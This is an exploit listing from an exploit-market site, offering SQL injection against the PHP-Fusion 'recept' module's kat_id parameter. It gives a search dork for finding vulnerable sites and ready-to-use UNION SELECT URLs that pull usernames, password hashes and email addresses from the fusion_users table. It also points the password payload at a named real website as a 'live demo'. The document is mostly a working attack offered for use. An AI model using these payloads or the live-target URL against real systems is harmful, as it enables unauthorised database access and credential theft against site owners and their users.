[ authorization ] [ registration ] [ restore account ]
Contact us
You can contact us by:
0day Today Exploits Market and 0day Exploits Database

PHP-Fusion Mod recept (kat_id) SQL Injection Vulnerability

Author
boom3rang
Risk
[
Security Risk Unsored
]
0day-ID
0day-ID-3843
Category
web applications
Date add
04-10-2008
Platform
unsorted
==========================================================
PHP-Fusion Mod recept (kat_id) SQL Injection Vulnerability
==========================================================


########################################################
PHP-Fusion Mod recept (kat_id) Remote SQL Injection Vulnerability
########################################################

++++++++++++++++++++++++++++
Author :         boom3rang
++++++++++++++++++++++++++++


[+] Dork:     infusions/recept/recept.php?

[+] Example:         http://localhost/infusions/recept/recept.php?click=kategorier&kat_id=[ exploit ]

[+] Exploit
--------------------------------
username:
http://localhost/infusions/recept/recept.php?click=kategorier&kat_id=-9999%27+and+1=2+union+all+select+1,2,user_name,4,5,6,7+from+fusion_users--+

password: 
http://localhost/infusions/recept/recept.php?click=kategorier&kat_id=-9999%27+and+1=2+union+all+select+1,2,user_password,4,5,6,7+from+fusion_users--+

email:
http://localhost/infusions/recept/recept.php?click=kategorier&kat_id=-9999%27+and+1=2+union+all+select+1,2,user_email,4,5,6,7+from+fusion_users--+
--------------------------------


[+] liveDEMO: 

http://usmalayali.com/infusions/recept/recept.php?click=kategorier&kat_id=-9999%27+and+1=2+union+all+select+1,2,user_password,4,5,6,7+from+fusion_users--+


============================



#  0day.today [2024-09-28]  #